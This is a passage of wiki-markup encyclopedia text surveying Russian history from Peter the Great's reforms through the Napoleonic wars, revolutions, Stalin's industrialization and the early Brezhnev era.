[[Image:1533-1896.jpg.gif|thumbnail|200px|right|A map of Russian expansion from 1533 to 1896. Ivan IV conquered the Tatar &lt;!--in this case Tatar, not Tartar--&gt; states of [[Khanate of Kazan|Kazan]] (1533-84) and [[Khanate of Astrakhan|Astrakhan]] (1556), gaining control of the Volga River down to the Caspian Sea. In addition, from the [[1580s]], the fur trade lured the Russians deep into Siberia across the [[Urals]]. Peter the Great concentrated on achieving a window on the West, wresting the Baltic region from Sweden in 1721. Catherine the Great annexed the Tatar khanate of [[Crimea]] and acquired parts of Polish-Lithuanian Commonwealth. Russian forces subdued the Kazaks (1816-54), completed Russian control of the [[Caucasus (geographic region)|Caucasus]] (1857-64) and annexed the khanates of Central Asia (1865-76). China ceded to the tsar the [[Amur]] basin and parts of the Pacific Coast (where [[Vladivostok]] was founded in 1860), and leased [[Port Arthur]] (1898).]]

===Peter the Great===
[[Peter I of Russia|Peter I]], the Great ([[1672]]&amp;ndash;[[1725]]), consolidated autocracy in Russia and played a major role in bringing his country into the European state system. From its modest beginnings in the 14th century principality of Moscow, Russia had become the largest state in the world by Peter's time. Three times the size of Europe, it spanned the Eurasian landmass from the [[Baltic Sea]] to the Pacific Ocean. Much of its expansion had taken place in the 17th century, culminating in the first Russian settlement of the Pacific in the mid-17th century, the reconquest of Kiev, and the pacification of the Siberian tribes. However, this vast land had a population of only 14 million. Grain yields trailed those of agriculture in the West, compelling almost the entire population to farm. Only a small fraction of the population lived in the towns.

Peter was deeply impressed by the advanced technology, warcraft, and statecraft of the West. He studied Western tactics and fortifications and built a strong army of 300,000 made up of his own subjects, whom he conscripted for life. In [[1697]]-[[1698]], he became the first Russian prince to ever visit the West, where he and his entourage made a deep impression. In celebration, Peter assumed the title of emperor as well as tsar, and Muscovy officially became the [[Russian Empire]] in [[1721]].

Peter's first military efforts were directed against the [[Ottoman Empire|Ottoman Turks]]. His attention then turned to the north. Peter still lacked a secure northern seaport except at [[Arkhangelsk|Archangel]] on the [[White Sea]], whose harbor was frozen nine months a year. Access to the Baltic was blocked by [[Sweden]], whose territory enclosed it on three sides. Peter's ambitions for a &quot;window to the sea&quot; led him in [[1699]] to make a secret alliance with the [[Polish-Lithuanian Commonwealth]] and [[Denmark]] against Sweden, resulting in the [[Great Northern War]]. The war ended in [[1721]] when an exhausted Sweden sued for peace with Russia. Peter acquired four provinces situated south and east of the Gulf of Finland, thus securing his coveted access to the sea. There he built Russia's new capital, [[Saint Petersburg|St. Petersburg]], as a &quot;window opened upon Europe&quot; to replace Moscow, long Russia's cultural center.

The strains of Peter's military expeditions produced another revolt. Invoking the name of populist rebel [[Stenka Razin]], another [[Cossack]] chieftain [[Kondraty Bulavin]] raised a revolt, ultimately crushed.

Peter reorganized his government on the latest Western models, molding Russia into an [[political absolutism|absolutist]] state. He replaced the old ''boyar'' [[Duma]] (council of nobles) with a nine-member senate, in effect a supreme council of state. The countryside was also divided into new provinces and districts. Peter told the senate that its mission was to collect tax revenues. In turn tax revenues tripled over the course of his reign. As part of the government reform, the Orthodox Church was partially incorporated into the country's administrative structure, in effect making it a tool of the state. Peter abolished the patriarchate and replaced it with a collective body, the [[Holy Synod]], led by a lay government official. Meanwhile, all vestiges of local self-government were removed, and Peter continued and intensified his predecessors' requirement of state service for all nobles.

Peter died in [[1725]], leaving an unsettled succession and an exhausted realm. His reign raised questions about Russia's backwardness, its relationship to the West, the appropriateness of reform from above, and other fundamental problems that have confronted many of Russia's subsequent rulers. Nevertheless, he had laid the foundations of a modern state in Russia.

===Ruling the Empire (1725&amp;ndash;1825)===
Nearly forty years were to pass before a comparably ambitious and ruthless ruler appeared on the Russian throne. [[Catherine II of Russia|Catherine II]], the Great, was a German princess who married the Russian heir to the crown. Finding him an incompetent moron, Catherine tacitly consented to his murder. It was announced that he had died of &quot;[[apoplexy]]&quot;, and in [[1762]] she became ruler.

Catherine contributed to the resurgence of the Russian nobility that began after the death of Peter the Great. State service had been abolished, and Catherine delighted the nobles further by turning over most government functions in the provinces to them.

Catherine the Great extended Russian political control over the Polish-Lithuanian Commonwealth with actions including the support of the [[Targowica confederation]], although the cost of her campaigns, on top of the oppressive social system that required lords' serfs to spend almost all of their time laboring on the lords' land, provoked a major peasant uprising in [[1773]], after Catherine legalized the selling of serfs separate from land. Inspired by another Cossack named [[Yemelyan Pugachev|Pugachev]], with the emphatic cry of &quot;Hang all the landlords!&quot; the rebels threatened to take Moscow before they were ruthlessly suppressed. Catherine had Pugachev drawn and quartered in [[Red Square]], but the specter of revolution continued to haunt her and her successors.

While suppressing the Russian peasantry, Catherine successfully waged war against the decaying Ottoman Empire and advanced Russia's southern boundary to the Black Sea. Then, by plotting with the rulers of [[Austrian Empire|Austria]] and [[Prussia]], she annexed half of the Polish-Lithuanian Commonwealth during the [[Partitions of Poland]] and pushed the Russian frontier westward into Central Europe. By the time of her death in [[1796]], Catherine's expansionist policy had made Russia into a major European power. This continued with [[Alexander I of Russia|Alexander I's]] annexation of [[Finland]] from the weakened kingdom of [[Sweden]] in [[1809]].

[[Napoléon I of France|Napoleon]] made a major misstep when he invaded Russia after a dispute with Tsar Alexander I and launched an [[Napoleon's invasion of Russia|invasion of the tsar's realm]] in [[1812]]. The campaign was a catastrophe. Although Napoleon's Grand Army made its way to Moscow, the Russians' [[Scorched earth|scorched-earth]] strategy prevented the invaders from living off the country. In the bitterly cold Russian weather, thousands of French troops died in the snow. As Napoleon's forces retreated, the Russian troops pursued them into Central and Western Europe and to the gates of Paris. After Russia and its allies defeated Napoleon, Alexander became known as the 'savior of Europe,' and he played a prominent role in the redrawing of the map of Europe at the [[Congress of Vienna]] in 1815.

Although the Russian Empire would play a leading political role in the next century, secured by its defeat of Napoleonic France, its retention of serfdom precluded economic progress of any significant degree. As West European economic growth accelerated during the [[Industrial Revolution]], which had begun in the second half of the 18th century, Russia began to lag ever farther behind, creating new problems for the empire as a great power.

===Imperial Russia since the Decembrist Revolt (1825&amp;ndash;1917)===
====The Decembrist Revolt====
Russia's great power status obscured the inefficiency of its government, the isolation of its people, and its economic backwardness. Following the defeat of Napoleon, Alexander I had been ready to discuss constitutional reforms, but though a few were introduced, no thoroughgoing changes were attempted.

The relatively liberal tsar was replaced by his younger brother, [[Nicholas I of Russia|Nicholas I]] ([[1825]]&amp;ndash;[[1855]]), who at the onset of his reign was confronted with an uprising. The background of this revolt lay in the Napoleonic Wars, when a number of well-educated Russian officers traveled in Europe in the course of the military campaigns, where their exposure to the liberalism of Western Europe encouraged them to seek change on their return to autocratic Russia. The result was the [[Decembrist Revolt]] (December [[1825]]), the work of a small circle of liberal nobles and army officers who wanted to install Nicholas' brother as a constitutional monarch. But the revolt was easily crushed, leading Nicholas to turn away from the Westernization program begun by Peter the Great and champion the maxim &quot;Autocracy, Orthodoxy, and Respect to the People.&quot; Russian tsars had also to deal with uprisings in their newly acquired territories of the Polish-Lithuanian Commonwealth: the [[November Uprising]] in 1830, the [[January Uprising]] in 1863.

====Ideological schisms and reaction====
[[Image:Bakuninfull.jpg|thumb|right|[[Mikhail Bakunin]]]]
The harsh retaliation for the revolt made &quot;December Fourteenth&quot; a day long remembered by later revolutionary movements. In order to repress further revolts, schools and universities were placed under constant surveillance and students were provided with official textbooks. Police spies were planted everywhere. Would-be revolutionaries were sent off to Siberia; under Nicholas I hundreds of thousands were sent to labor camps there.

In this setting [[Michael Bakunin]] would emerge as the father of [[anarchism]]. He left Russia in [[1842]] to Western Europe, where he became active in the socialist movement. After participating in [[May Uprising in Dresden]] of [[1849]], he was imprisoned and shipped to Siberia, but eventually escaped and made his way back to Europe. There he practically joined forces with [[Karl Marx]], despite significant ideological and tactical differences.

The question of Russia's direction had been gaining steam ever since Peter the Great's programme of Westernization. Some favored imitating Europe while others renounced the West and called for a return of the traditions of the past. The latter path was championed by  [[Slavophile]]s, who heaped scorn on the &quot;decadent&quot; West. The Slavophiles were opponents of bureaucracy,  preferred the [[collectivism]] of the [[middle ages|mediaeval]] Russian ''[[mir (social)|mir]]'', or village community, to the [[individualism]] of the West. Later, [[Communism]] in Soviet Russia would owe a debt not only to the doctrines of Karl Marx but also the long-established social pattern of the ''mir''.

====Alexander II and the abolition of serfdom====
Tsar Nicholas died with his philosophy in dispute. One year earlier, Russia had become involved in the [[Crimean War]], a conflict fought primarily in the [[Crimea|Crimean peninsula]]. Since playing a major role in the defeat of Napoleon, Russia had been regarded as militarily invincible, but the reverses it suffered on land and sea in the Crimean War exposed the decay and weakness of Tsar Nicholas' regime.

When [[Alexander II of Russia|Alexander II]] came to the throne in [[1855]], desire for reform was widespread. A growing humanitarian movement, which in later years has been likened to that of the [[abolitionism|abolitionists]] in the [[United States]] before the [[American Civil War]], attacked serfdom. In [[1859]], there were more than 23 million serfs living under conditions frequently worse than those of the peasants of [[western Europe]] on 16th century [[Manorialism|manor]]s. Alexander II made up his own mind to abolish serfdom from above rather than wait for it to be abolished from below through revolution.

The [[Emancipation reform of 1861 in Russia|emancipation of the serfs]] in [[1861]] was the single most important event in 19th century Russian history. It was the beginning of the end for the landed aristocracy's monopoly of power. Emancipation brought a supply of free labor to the cities, industry was stimulated, and the middle class grew in number and influence; however, instead of receiving their lands as a gift, the freed peasants had to pay a special tax for what amounted to their lifetime to the government, which in turn paid the landlords a generous price for the land that they had lost. In numerous instances the peasants wound up with the poorest land. All the land turned over to the peasants was owned collectively by the ''mir'', the village community, which divided the land among the peasants and supervised the various holdings. Although serfdom was abolished, since its abolition was achieved on terms unfavorable to the peasants, revolutionary tensions were not abated, despite Alexander II's intentions.

In the late 1870s Russia and the Ottoman Empire clashed in the Balkans. From 1875 to 1877, the Balkan crisis escalated with rebellions against Ottoman rule by various Slavic nationalities, which the Ottoman Turks suppressed with what was seen as great cruelty in Russia. Russian nationalist opinion became a serious domestic factor in its support for liberating Balkan Christians from Ottoman rule and making Bulgaria and Serbia quasi-protectorates of Russia. In early 1877, Russia intervened on behalf of Serbian and Russian volunteer forces when it went to war with the Ottoman Empire. Within one year, Russian troops were nearing Constantinople, and the Ottomans surrendered. Russia's nationalist diplomats and generals persuaded Alexander II to force the Ottomans to sign the [[Treaty of San Stefano]] in March 1878, creating an enlarged, independent Bulgaria that stretched into the southwestern Balkans. When Britain threatened to declare war over the terms of the Treaty of San Stefano, an exhausted Russia backed down. At the [[Congress of Berlin]] in July 1878, Russia agreed to the creation of a smaller Bulgaria. As a result, Russian nationalists were left with a legacy of bitterness against Austria-Hungary and Germany for failing to back Russia. The disappointment as a result of war stimulated revolutionary tensions in Russia.

====Nihilism====
In the [[1860s]] a movement known as [[Nihilist movement|Nihilism]] developed in Russia. For some time many Russian liberals had been dissatisfied by the empty discussions of the [[intelligentsia]]. The Nihilists questioned all old values, championed the independence of the individual, and shocked the Russian establishment.

The Nihilists first attempted to convert the aristocracy to the cause of reform. Failing there, they turned to the peasants. Their &quot;go to the people&quot; campaign became known as the [[Narodnik]] movement.

While the Narodnik movement was gaining momentum, the government quickly moved to extirpate it. In response to the growing reaction of the government, a radical branch of the Narodniks advocated and practiced [[terrorism]]. One after another, prominent officials were shot or killed by bombs. Finally, after several attempts, Alexander II was assassinated in [[1881]], on the very day he had approved a proposal to call a representative assembly to consider new reforms in addition to the abolition of serfdom designed to ameliorate revolutionary demands.

====Autocracy and reaction under Alexander III====
[[Image:Kramskoy Alexander III.jpg|left|thumb|Portrait of Tsar [[Alexander III of Russia|Alexander III]] (1886)]]
Unlike his father, the new tsar [[Alexander III of Russia|Alexander III]] ([[1881]]&amp;ndash;[[1894]]) was throughout his reign a staunch reactionary who revived the maxim of &quot;Autocracy, Orthodoxy, and Nationalism&quot; of Nicholas I. A committed Slavophile, Alexander III believed that Russia could be saved from chaos only by shutting itself off from the subversive influences of Western Europe.

The tsar's most influential adviser was [[Konstantin Petrovich Pobedonostsev]], tutor to Alexander III and his son Nicholas, and procurator of the Holy Synod from [[1880]] to [[1895]]. He taught his royal pupils to fear freedom of speech and press and to hate democracy, constitutions, and the parliamentary system. Under Pobedonostsev, revolutionaries were hunted down and a policy of Russification was carried out throughout the empire. In his reign Russia has concluded the union with republican France and has received the French credits for development of the industry.

====Nicholas II and a new revolutionary movement====
Alexander was succeeded by his son [[Nicholas II of Russia|Nicholas II]] ([[1894]]&amp;ndash;[[1917]]). The Industrial Revolution, which began to exert a significant influence in Russia, was meanwhile creating forces that would finally overthrow the tsar. The liberal elements among the industrial capitalists and nobility believed in peaceful social reform and a constitutional monarchy, forming the Constitutional Democrats, or [[Kadets]]. Social revolutionaries combined the Narodnik tradition and advocated the distribution of land among those who actually worked it&amp;mdash;the peasants. Another radical group was the Social Democrats, exponents of [[Marxism]] in Russia. Gathering their support from the radical intellectuals and the urban working class, they advocated complete social, economic and political revolution.

In [[1903]] the party split into two wings&amp;mdash;the [[Menshevik]]s, or moderates, and the [[Bolshevik]]s, the radicals. The Mensheviks believed that Russian socialism would grow gradually and peacefully and that the tsar’s regime should be succeeded by a democratic republic in which the socialists would cooperate with the liberal bourgeois parties. The Bolsheviks, under [[Vladimir Lenin]], advocated the formation of a small elite of professional revolutionists, subject to strong party discipline, to act as the vanguard of the proletariat in order to seize power by force.&lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;

The disastrous performance of the Russian armed forces in the [[Russo-Japanese War]] ([[1904]]&amp;ndash;[[1905]]) was a major blow to the Tsarist regime and increased the potential for unrest. In January [[1905]], an incident known as &quot;[[Bloody Sunday (1905)|Bloody Sunday]]&quot; occurred when [[Father Gapon]] led an enormous crowd to the [[Winter Palace]] in [[Saint Petersburg|St. Petersburg]] to present a petition to the tsar. When the procession reached the palace, Cossacks opened fire on the crowd, killing hundreds. The Russian masses were so aroused over the massacre that a general strike was declared demanding a democratic republic. This marked the beginning of the [[Russian Revolution of 1905]]. [[Soviet]]s (councils of workers) appeared in most cities to direct revolutionary activity. Russia was paralyzed, and the government was desperate.

In October 1905, Nicholas reluctantly issued the famous [[October Manifesto]], which conceded the creation of a national Duma (legislature) to be called without delay. The right to vote was extended and no law was to go into force without confirmation by the Duma. The moderate groups were satisfied; but the socialists rejected the concessions as insufficient and tried to organize new strikes. By the end of 1905, there was disunity among the reformers, and the tsar's position was strengthened for the time being.

==Russian Revolution==
''Main article: [[Russian Revolution of 1917]]''
[[Image:Soviet Union, Lenin (55).jpg|thumb|right|[[Vladimir Lenin]] following his return to Petrograd]]
Tsar Nicholas II and his subjects entered [[World War I]] with enthusiasm and patriotism, with the defense of Russia's fellow Orthodox Slavs, the [[Serbs]], as the main battle cry. In August 1914, the Russian army entered Germany to support the French armies. However, the weaknesses of the Russian economy and the inefficiency and corruption in government were hidden only for a brief period under a cloak of fervent nationalism. Military reversals and the government's incompetence soon soured much of the population. German control of the Baltic Sea and German-Ottoman control of the Black Sea severed Russia from most of its foreign supplies and potential markets.

By the middle of [[1915]] the impact of the war was demoralizing. Food and fuel were in short supply, casualties were staggering, and inflation was mounting. Strikes increased among low-paid factory workers, and the peasants, who wanted land reforms, were restless. Meanwhile, public distrust of the regime was deepened by reports that a semiliterate mystic, [[Grigory Rasputin]], had great political influence within the government. His assassination in late [[1916]] ended the scandal but did not restore the autocracy's lost prestige.

On [[March 3]], [[1917]], a strike occurred in a factory in the capital [[Petrograd]] (formerly St. Petersburg). Within a week nearly all the workers in the city were idle, and street fighting broke out. When the tsar dismissed the Duma and ordered strikers to return to work, his orders triggered the [[February Revolution]].

The Duma refused to disband, the strikers held mass meetings in defiance of the regime, and the army openly sided with the workers. A few days later a [[Russian Provisional Government, 1917|provisional government]] headed by [[Prince Lvov]] was named by the Duma. The following day the tsar abdicated. Meanwhile, the socialists in Petrograd had formed a soviet (council) of workers and soldiers' deputies to provide them with the power that they lacked in the Duma.

In July, the head of the provisional government resigned and was succeeded by [[Alexander Kerensky]], who was more progressive than his predecessor but not radical enough for the Bolsheviks. While Kerensky's government marked time, the Marxist soviet in Petrograd extended its organization throughout the country by setting up local soviets. Meanwhile, Kerensky made the fatal mistake of continuing to commit Russia to the war, a policy extremely unpopular with the masses.

Lenin returned to Russia from exile in [[Switzerland]], with the help of Germany, which hoped that widespread strife would cause Russia to withdraw from the war. A tumultuous reception by thousands of peasants, workers, and soldiers took place as Lenin's train rolled into the station. After many behind-the-scenes maneuvers, the soviets seized control of the government in November 1917, and drove Kerensky and his moderate provisional government into exile, in the events that would become known as the [[October Revolution]].

When the national assembly, which met in January [[1918]], refused to become a rubber-stamp of the Bolsheviks, it was dissolved by Lenin's troops. With the dissolution of the constituent assembly, all vestiges of bourgeois democracy were removed. With the handicap of the moderate opposition removed, Lenin was able to free his regime from the war problem by the harsh [[Treaty of Brest-Litovsk]] (1918) with Germany, with great sacrifice of Russian territory.

==Russian Civil War==
''Main article: [[Russian Civil War]]''

A powerful group of counterrevolutionaries termed the [[White movement]] began to organize to topple the Bolsheviks. At the same time the Allied powers sent several expeditionary armies to Russia to support the anti-Communist forces. The Allies feared that the Bolsheviks were in a conspiracy with the Germans because of Brest-Litovsk; they also hoped that the White Russians might renew hostilities against Germany. In the fall of 1918 the Bolshevik regime was in a perilous position, opposed by Russia's former allies and internal enemies, as well as in sporadic conflict with short-lived nationalist republics in Belarus and Ukraine and anarchist forces.

To counteract this emergency, a reign of terror was begun within Russia as the [[Red Army]] and the [[Cheka]] (the secret police) destroyed all enemies of the revolution. However lofty their goals were, the Bolsheviks did not have the consent of all elements of society and thus had to force their rule over Russia during the civil war. They swept away the tsarist secret police, so despised by Russians of all political persuasions, along with other tsarist institutions, but ensured the survival of their own regime by replacing it with a political police of considerably greater dimensions, both in the scope of its authority and in the severity of its methods. By [[1920]] all White resistance had been crushed, foreign armies evacuated, and Bolshevik governments established in Belarus, Ukraine, and the Caucasus, but at the cost of perpetuating Russia's long pattern of autocratic rule in new forms.

As Russia was bogged down in [[Russian civil war|civil war]], the frontiers between Poland and Russia were not clearly defined by the postwar [[Treaty of Versailles]] and were further rendered chaotic by the civil war. The [[Polish-Soviet War]] (1919–1921), which ended with the defeat of the Red Army, determined the borders between Soviet Russia and Poland.

==Soviet Union==
''Main article: [[History of Russia and the Soviet Union (1917-1927)|History of the Soviet Union]]''
===Creation of the Soviet Union===
The history of Russia between [[1922]] and [[1991]] is essentially the history of the Union of Soviet Socialist Republics or [[Soviet Union]]. This ideologically-based union, established in December 1922 by the leaders of the Russian Communist Party, was roughly coterminous with the Russian Empire. At that time, the new nation included four constituent republics: the [[Russian Soviet Federative Socialist Republic|Russian SFSR]], the [[Ukrainian SSR]], [[Belarusian SSR]], and the [[Transcaucasian Soviet Federated Socialist Republic|Transcaucasian SFSR]].

The constitution, adopted in 1924, established a '''''federal'' system''' of government based on a succession of soviets set up in villages, factories, and cities in larger regions. This pyramid of soviets in each constituent republic culminated in the All-Union Congress of Soviets. But while it appeared that the congress exercised sovereign power, this body was actually governed by the Communist Party, which in turn was controlled by the [[Politburo of the CPSU Central Committee|Politburo]] from Moscow, the capital of the Soviet Union, just as it had been under the tsars before Peter the Great.

===War communism and the New Economic Policy===
The period from the consolidation of the Bolshevik Revolution in 1917 until [[1921]] is known as the period of [[war communism]]. Banks, railroads, and shipping were nationalized and the money economy was restricted. Strong opposition soon developed. The peasants wanted cash payments for their products and resented having to surrender their surplus grain to the government as a part of its civil war policies. Confronted with peasant opposition, Lenin began a strategic retreat from war communism known as the [[New Economic Policy]] (NEP). The peasants were freed from wholesale levies of grain and allowed to sell their surplus produce in the open market. Commerce was stimulated by permitting private retail trading. The state continued to be responsible for banking, transportation, heavy industry, and public utilities.

Although the left opposition among the Communists criticized the rich peasants or [[kulak]]s who benefited from the NEP, the program proved highly beneficial and the economy revived. The NEP would later come under increasing opposition from within the party following Lenin's death in early [[1924]].

===Changes in Russian society===
While the Russian economy was being transformed, the social life of the people underwent equally drastic changes. From the beginning of the revolution, the government attempted to weaken patriarchal domination of the family. [[Divorce]] no longer required court procedure; and to make women completely free of the responsibilities of childbearing, [[abortion]] was made legal as early as 1920. As a side effect, the emancipation of the women increased the labor market. Girls were encouraged to secure an education and pursue a career in the factory or the office. Communal nurseries were set up for the care of small children and efforts were made to shift the center of people's social life from the home to educational and recreational groups, the soviet clubs.

The regime abandoned the tsarist policy of [[discrimination|discriminating]] against [[national minorities]] in favor of a policy of incorporating the more than two hundred minority groups into Soviet life. Another feature of the regime was the extension of medical services. Campaigns were carried out against [[typhus]], [[cholera]], and [[malaria]]; the number of doctors was increased as rapidly as facilities and training would permit; and [[infant mortality]] rates rapidly decreased while [[life expectancy]] rapidly increased.

The government also promoted [[atheism]] and [[materialism]], which formed the basis of Marxist theory. It opposed organized religion, especially in order to break the power of the Russian Orthodox Church, a former pillar of the old tsarist regime and a major barrier to social change. Many religious leaders were sent to internal exile camps. Members of the party were forbidden to attend religious services. The education system was separated from the Church. Religious teaching was prohibited except in the home and atheist instruction was stressed in the schools.

===Industrialization and collectivization===
[[Image:Magnito.jpg|thumb|left|The construction of steel-producing city of [[Magnitogorsk]] in 1932 appears above. Magnitogorsk was at the forefront of Stalin's Five-Year Plans in the 1930s.]]

The years from [[1929]] to [[1939]] comprised a tumultuous decade in Russian history—a period of massive industrialization and internal struggles as [[Joseph Stalin]] established near total control over Russian society, wielding unrestrained power unknown to even the most ambitious tsars. Following Lenin's death Stalin wrestled to gain control of the Soviet Union with rival factions in the Politburo, especially [[Leon Trotsky]]'s. By [[1928]], with the [[Trotskyist]]s either exiled or rendered powerless, Stalin was ready to put a radical program of industrialization into action.

In 1928 Stalin proposed the first [[Five-Year Plan]]. Abolishing the NEP, it was the first of a number of plans aimed at swift accumulation of capital resources though the buildup of heavy industry, the [[Collectivisation in the USSR|collectivization of agriculture]], and the restricted manufacture of [[consumer goods in the Soviet Union|consumer goods]] and for the first time in history a government controlled all economic activity. While in the capitalist countries factories and mines were idle or running on reduced schedules during the [[Great Depression]] and millions were unemployed, the Soviet people worked many hours a day, six days a week, in a thoroughgoing attempt to revolutionize the Soviet economic structure.

As a part of the plan, the government took control of agriculture through the state and collective farms (''see'' [[collectivisation in the USSR|collectivization in the USSR]]). By a decree of February [[1930]], about one million [[Kulak|&quot;kulaks&quot;]] were forced off their land. Many peasants strongly opposed regimentation by the state, often slaughtering their herds when faced with the loss of their land. In some sections they revolted, and countless peasants deemed &quot;kulaks&quot; by the authorities were executed. The combination of bad weather, deficiencies of the hastily-established collective farms, and massive confiscation of grain precipitated a serious famine, and several million peasants died of starvation, mostly in Ukraine and parts of southwestern Russia. The deteriorating conditions in the countryside drove millions of desperate peasants to the rapidly growing cities, fuelling industrialization, and vastly increasing Russia's urban population in the space of just a few years.

The plans received remarkable results in areas aside from agriculture. Russia, in many measures the poorest nation in Europe at the time of the Bolshevik Revolution, now industrialized at a phenomenal rate, far surpassing Germany's pace of industrialization in the nineteenth century and Japan's earlier in the twentieth century. Soviet authorities claimed in [[1932]] an increase of industrial output of 334 percent over [[1914]], and in [[1937]] a further increase of 180 percent over 1932. Moreover, the survival of Russia in the face of the impending [[Nazi Germany|Nazi]] onslaught was made possible in part through the capacity for production that was the outcome of industrialization.

While the Five-Year Plans were forging ahead, Stalin was establishing his personal power. The secret police gathered in tens of thousands of Soviet citizens to face arrest, deportation, or execution. Of the six original members of the 1920 Politburo who survived Lenin, all were purged by Stalin. Old Bolsheviks who had been loyal comrades of Lenin, high officers in the Red Army, and directors of industry were liquidated in the [[Great Purges]].  Purges in other Soviet republics also helped centralize control in the USSR.

Stalin's repressions led to the creation of a vast system of internal exile, of considerably greater dimensions than those set up in the past by the tsars. Draconian penalties were introduced and many citizens were prosecuted for fictitious crimes of sabotage and espionage. The labor provided by convicts working in the [[labor camp]]s of the [[Gulag]] system became an important component of the industrialization effort, especially in Siberia. Perhaps around five percent of the population passed through the Gulag system.

===The Soviet Union on the international stage===
====World War II====
[[Image:Soviet Reichstag.gif|thumb|right|250px|Marking the Soviet Union's victory, a soldier raises the Soviet flag over the German Reichstag in the Nazi capital, Berlin]]

Until 1939 the USSR was in strong opposition to Nazi Germany, supporting the republicans of Spain who struggled against German and Italian troops during the [[Spanish Civil War]]. In 1938, however, Germany signed the [[Munich Agreement]] together with the major powers of Western Europe and together with Poland divided Czechoslovakia. The agreement increased fears in the Soviet Union of a coming German attack, which led the Soviet Union to respond with its own diplomatic maneuvers. In 1939 the Soviet Union signed the [[Molotov-Ribbentrop Pact]] with Nazi Germany. On September, 17 1939, as German armies were within 150 kilometers of the Soviet border, the Soviet army [[Polish September Campaign|invaded eastern portions of Poland]] populated by ethnic Ukrainians and Belorussians. The Soviets later fought a war with Finland known as the [[Winter War]] (1939-40). It was won by the Soviet Union, which gained part of the [[Karelian Isthmus]]. Despite Stalin's efforts to stay out of a war against Germany, Germany declared war on the Soviet Union and swept across the border on [[June 22]], [[1941]]. By November the German army had seized Ukraine, begun its [[siege of Leningrad]], and threatened to capture the capital, Moscow, itself.

However, the Soviet victory at the [[Battle of Stalingrad]] proved decisive, reversing the course of the entire war. After losing this battle the Germans lacked the strength to sustain their offensive operations against the Soviet Union and the Soviet Union held the initiative for the rest of the war. By the end of [[1943]], the Red Army had broken through the German siege of Leningrad and recaptured much of Ukraine. By the end of [[1944]], the front had moved beyond the [[1939]] Soviet frontiers into eastern Europe. With a decisive superiority in troops, Soviet forces drove into eastern Germany, capturing [[Berlin]] in May [[1945]]. The war with Germany thus ended triumphantly for the Soviet Union.

Although the Soviet Union was victorious in World War II, its economy had been devastated in the struggle and the war resulted in around 27 million Soviet deaths. About seventy thousand settlements have been destroyed. Ten million Soviet citizens became victims of a repressive policy of Germans and their allies on an occupied territory. German ''[[Einsatzgruppen]]'', along with Baltic and Ukrainian collaborators, were engaged in genocide of the Soviet Jewish population. The Romanian armies took part in genocide of Jews in occupied Odessa area. During occupation, Russia's Leningrad region lost around a quarter of its population. The occupied territories suffered from the ravages of German occupation, deportations of slave labour, as well as the Soviets' own scorched earth tactics in the retreat. Perhaps millions of Soviet citizens on occupied territories died because of famine and absence of elementary medical aid. Perhaps around 3.5 million Soviet prisoners of war (of 5.5 million) died in German camps.

====Cold War====
''Main article: [[Cold War]]''

Collaboration among the major Allies had won the war and was supposed to serve as the basis for postwar reconstruction and security. However, the conflict between Soviet and U.S. national interests, known as the [[Cold War]], came to dominate the international stage in the postwar period, assuming the public guise as a clash of ideologies.

The Cold War emerged out of a conflict between Stalin and U.S. President [[Harry Truman]] over the future of Eastern Europe during the [[Potsdam Conference]] in the summer of 1945. Russia had suffered three devastating Western onslaughts in the previous 150 years during the Napoleonic Wars, the First World War, and the Second World War, and Stalin's goal was to establish a buffer zone of states between Germany and the Soviet Union. Truman charged that Stalin had betrayed the [[Yalta]] agreement. With Eastern Europe under Red Army occupation, Stalin was also biding his time, as his own [[Soviet atomic bomb project|atomic bomb project]] was steadily and secretly progressing.

In April [[1949]] the United States sponsored the [[North Atlantic Treaty Organization]] (NATO), a mutual defense pact in which most Western nations pledged to treat an armed attack against one nation as an assault on all. The Soviet Union established an Eastern counterpart to NATO in [[1955]], dubbed the [[Warsaw Pact]]. The division of Europe into Western and Soviet blocs later took on a more global character, especially after [[1949]], when the U.S. nuclear monopoly ended with the testing of [[Joe-1|a Soviet bomb]] and the [[Communist Party of China|Communist]] takeover in [[People's Republic of China|China]].

The foremost objectives of Soviet foreign policy were the maintenance and enhancement of national security and the maintenance of hegemony over Eastern Europe. The Soviet Union maintained its dominance over the Warsaw Pact through crushing the [[1956 Hungarian Revolution]], suppressing the [[Prague Spring]] in Czechoslovakia in 1968, and supporting the suppression of the [[Solidarity]] movement in Poland in the early 1980s.

As the Soviet Union continued to maintain tight control over its sphere of influence in Eastern Europe, the Cold War gave way to ''[[Cold War (1962-1991)#Détente|Détente]]'' and a more complicated pattern of international relations in which the world was no longer clearly split into two clearly opposed blocs in the 1970s. Less powerful countries had more room to assert their independence, and the two superpowers were partially able to recognize their common interest in trying to check the further spread and proliferation of nuclear weapons in treaties such as [[SALT I]], [[SALT II]] and the [[Anti-Ballistic Missile Treaty]].

U.S.-Soviet relations deteriorated following the [[Soviet invasion of Afghanistan]] in [[1979]] and the [[U.S. presidential election, 1980|1980 election of Ronald Reagan]], a staunch anti-communist, but improved as the Soviet bloc started to unravel in the late 1980s. With the collapse of the Soviet Union in 1991, Russia lost the [[superpower]] status that it had won in the Second World War.

===The Khrushchev and Brezhnev years===
''Main article: [[History of the Soviet Union (1953-1985)]]''
[[Image:Comming-home.jpg|left|150px|thumb|On [[April 12]], [[1961]], Russian [[Yuri Gagarin]] became the first man in space. Here, a crowd in [[Red Square]] listens to him speak.]]

In the power struggle that erupted after Stalin's death in 1953, his closest followers lost out. [[Nikita Khrushchev]] solidified his position in a speech before the [[20th Party Congress|Twentieth Congress of the Communist Party]] in 1956 detailing Stalin's atrocities and attacking him for promoting a [[personality cult]]. As details of his speech became public, Khrushchev accelerated a wide range of reforms. Downplaying Stalin's emphasis on heavy industry, he increased the supply of consumer goods and housing and stimulated agricultural production. The new policies improved the standard of living, although shortages of appliances, clothing, and other consumer durables would increase in later years. The judicial system, albeit still under a complete Communist party control, replaced police terror, and intellectuals had more freedom than before.  

On [[October 4]], [[1957]] Soviet Union launched the first space satellite Sputnik. On [[April 12]], [[1961]] [[Yuri Gagarin]] became the first human to travel into space in the Soviet spaceship Vostok 1. 

In 1964 Khrushchev was ousted by the Communist Party's Central Committee, charging him with a host of errors that included Soviet setbacks such as the [[Cuban Missile Crisis]] and the deepening [[Sino-Soviet Split]]. After a brief period of collective leadership, a veteran bureaucrat, [[Leonid Brezhnev]], took Khrushchev's place.

